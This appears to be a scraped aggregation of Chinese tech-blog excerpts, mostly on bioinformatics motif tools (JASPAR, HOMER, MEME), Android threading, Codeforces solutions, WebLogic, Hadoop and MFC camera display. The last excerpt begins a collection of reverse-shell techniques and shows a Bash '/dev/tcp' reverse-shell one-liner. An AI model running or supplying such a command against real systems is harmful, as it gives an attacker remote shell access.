主流的motif数据库 JASPAR dbcorrdb - SCENIC使用的 TRANSFAC® 7.0 Public 2005 and TRANSCompel 7.0 Public 2005 - 现在最新版要收费了 motif格式问题 我关注的这个motif (ENCSR000ARI) 是Ezh2的,并没有被收录在常规的TF数据库里,所以Homer里面没有. dbcorrdb这个数据库里有,但是很老的JASPAR格式,可以转成meme格式.[dbcorrdb__EZH2__ENCSR000A

Finding Enriched Motifs in Genomic Regions (findMotifsGenome.pl) 在指定区域做motif enrichment,大大降低了假阳性. MEME也可以做,但是设定更加复杂. 转录因子的表达具有高度的组织特异性,而且已知的TF只有1000多个,基因有30000多个,所以一个TF的靶基因可能有几百个,而且具有高度的时空组织特异性. 实验的方法就不说了,可靠.成本高.耗费劳力. 以下只说高通量数据的预测方法. 最简单的预测就是基于基因表达,c

启动子 http://baike.baidu.com/link?url=HMqaMY4mXusH--4hMu1p6P_XUzEve9lZhFGtxScnbb8Z9HaLYJ981eWxAuZt2iAP   启动子是位于结构基因5'端上游的DNA序列,能活化RNA聚合酶,使之与模板DNA准确的结合并具有转录起始的特异性. 起始时间和表达的程度.启动子(Promoters)就像“开关”,决定基因的活动.既然基因是成序列的核苷酸(nucleotides),那么启动子也应由DNA组成.启动子本身并不控制

      我们知道在Android中,要更新UI只能在UI主线程去更新,而不允许在子线程直接去操作UI,但是很多时候,很多耗时的工作都交给子线程去实现,当子线程执行完这些耗时的工作后,我们希望去修改UI,但Android中又不允许在子线程中去直接修改UI,如:在子线程中执行从服务器下载一张图片的任务,下载完成后,希望这张图片显示一个ImageView上,在子线程中又不能直接操作ImageView,这怎么办呢?我们只能把这张图片发送给UI主线程,然后在主线程中去显示这张图片.为了能够实现这种子线

ORF和CDS的区别 ORF的英文展开是open reading frame(开放阅读框). CDS的英文展开是coding sequences (编码区). CDS:DNA转录成mRNA,mRNA经剪接等加工后翻译出蛋白质,所谓CDS就是与蛋白质序列一 一对应的DNA序列,且该序列中间不含其它非该蛋白质对应的序列,不考虑mRNA加工等过程中的序列变化,总之,就是与蛋白质的密码子完全对应. ORF:理论上的氨基酸编码区,一般是在分析DNA核酸图谱中(主要是利用电脑程序)得到的.程序会自动在DNA

MEME(Motif-based sequence analysis tools)使用说明 2011-05-27 ~ ADMIN MEME是用于从一堆序列中搜索功能结构域的工具.比如说当你拿到了许多CHIP-chip或者CHIP-seq的数据,当分析出峰所处的位置之后可以得到一些这些峰所代表的序列,这就是蛋白质与DNA相到作用所保护下来的片段.所以使用MEME搜索其中非常相似的序列片段就可能是有一定功能的结构域. 所以,MEME的输入必须至少有一个Pearson/FASTA格式的序列文件. 命令

启动普通子Activity: 一个activity启动另一个activity最简单的方式是使用 startActivity(Intent) 方法: public void startActivity(Intent intent) activity调用 startActivity 方法时,调用请求实际发给了操作系统的 ActivityManager ,ActivityManager 负责创建 Activity 实例,并调用其 onCreate 方法. ActivityManager 根据 star

在人们对互联网的依赖度越来越高的今天,人类社会逐步买入元宇宙时代,为了大大提高整个互联网的用户体验,HoloWAN团队推出每一个互联网应用开发团队都能用得起的专业网络损伤仪HoloWAN meme!售价只需5999元.精度与1200系列保持一致,通过提供易用的图形界面.常用的网络损伤模拟功能满足绝大部分的互联网开发团队的弱网测试需求! 网络损伤仪 HoloWAN meme是一台非常便携的小型专业网络损伤仪设备,提供了带宽限制.延迟.丢包.这些常用的网络损伤功能,满足了 小型互联网产品开发团队的测

链接 [http://codeforces.com/contest/1076/problem/C] 题意 a+b=d and a⋅b=d. 计算出a和b 分析 ab=a(d-a)=d aa-ad+d=0; 先判断再直接求根公式 代码 #include<bits/stdc++.h> using namespace std; int main(){ int t,d; cin>>t; while(t--){ cin>>d; if(d*d-4*d<0) cout<&

Try guessing the statement from this picture: You are given a non-negative integer d . You have to find two non-negative real numbers a and b such that a+b=d and a⋅b=d . Input The first line contains t (1≤t≤103 ) — the number of test cases. Each test

题目大意: 令conc(a,b)函数得出的结果为将ab拼接得到的数字. 例如:conc(12,23)=1223 a和b不会包括前导0! 接下来,你已知A和B,问有多少对的(a,b)满足 1≤a≤A , 1≤b≤B a*b+a+b=conc(a,b) 解题思路: 想法题,只需要满足b这个数字每一位全为9,那么等式 a*b+a+b=conc(a,b) 恒成立 因为 a*b+a+b=a*(b+1)+b b+1为一个首位是1,其余位全为0的数,且长度为b的长度+1 所以a*(b+1)+b相当于a*(Le

DNA motif 搜索算法总结 2011-09-15 ~ ADMIN 翻译自:A survey of DNA motif finding algorithms, Modan K Das et. al., BMC Bioinformatics 2007, 8(suppl 7):S21 dio:10.1186/1471-2105-8-s7-s21 DNA功能域(motif)简单地讲就是一段特定模式的DNA序列,它之所以可以具有生物学功能是因为它的特殊序列可以和调控蛋白结合,比如转录因子,从而可以在

数据格式如下 gene_id Sham-1 Sham-2 Sham-3 Sham-4 Sham-5 Rep-1h-1 Rep-1h-2 Rep-1h-3 Rep-1h-4 Rep-1h-5 Rep-3h-1 Rep-3h-2 Rep-3h-3 Rep-3h-4 Rep-3h-5 Rep-6h-1 Rep-6h-2 Rep-6h-3 Rep-6h-4 Rep-6h-5 Rep-12h-1 Rep-12h-2 Rep-12h-3 Rep-12h-4 Rep-12h-5 Rep-24h-1 Rep-2

WebLogic 中间件: 是基础软件的一大类,属于可复用软件的范畴,顾名思义,中间件属于操作系统软件与应用软件的中间,比如:JDK,框架,weblogic. weblogic与tomcat区别 : 1.weblogic支持EJB规范,全面支持出了J2EE之外的其他规范,Web Service,SSL,xml等规范. 2.完善的售后服务. 3.集群机制,支持分布式应用. 4.热部署新的web,ejb应用. 32位的weblogic不能配64位的jdk 安装 : 1.32位的11g weblogi

在上面一节我们分析了JobTracker调用JobQueueTaskScheduler进行任务分配,JobQueueTaskScheduler又调用JobInProgress按照一定顺序查找任务的流程,获得了任务之后,将任务封装为TaskTrackerAction数组返回的整个过程.TaskTracker通过心跳响应接收到了这个数组.本节我们继续分析,TaskTracker拿到了这个数组之后,如何对任务进行处理的. 1,TaskTracker在其方法offerService中,将得到的任务加入队

上一篇实现了在MFC的窗体内显示图片,本篇介绍如何在MFC窗体内实时显示摄像头的影像. 要实现的功能是点击一个“开始”按钮,可以显示影像,再点击“停止”按钮,可以停止显示. 因为实时显示影像需要在一个循环里执行,为了在显示影像的同时还可以干别的(比如,点击“停止”按钮),这里需要用到多线程,即显示影像的代码放到子线程中,与主线程并发执行. 重点已经说清楚了,下面是开发步骤: 1.先把Halcon中实时显示的程序搞定 2.Halcon代码导出为C++代码 3.建立MFC工程 4.在MFC中添加Ha

[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目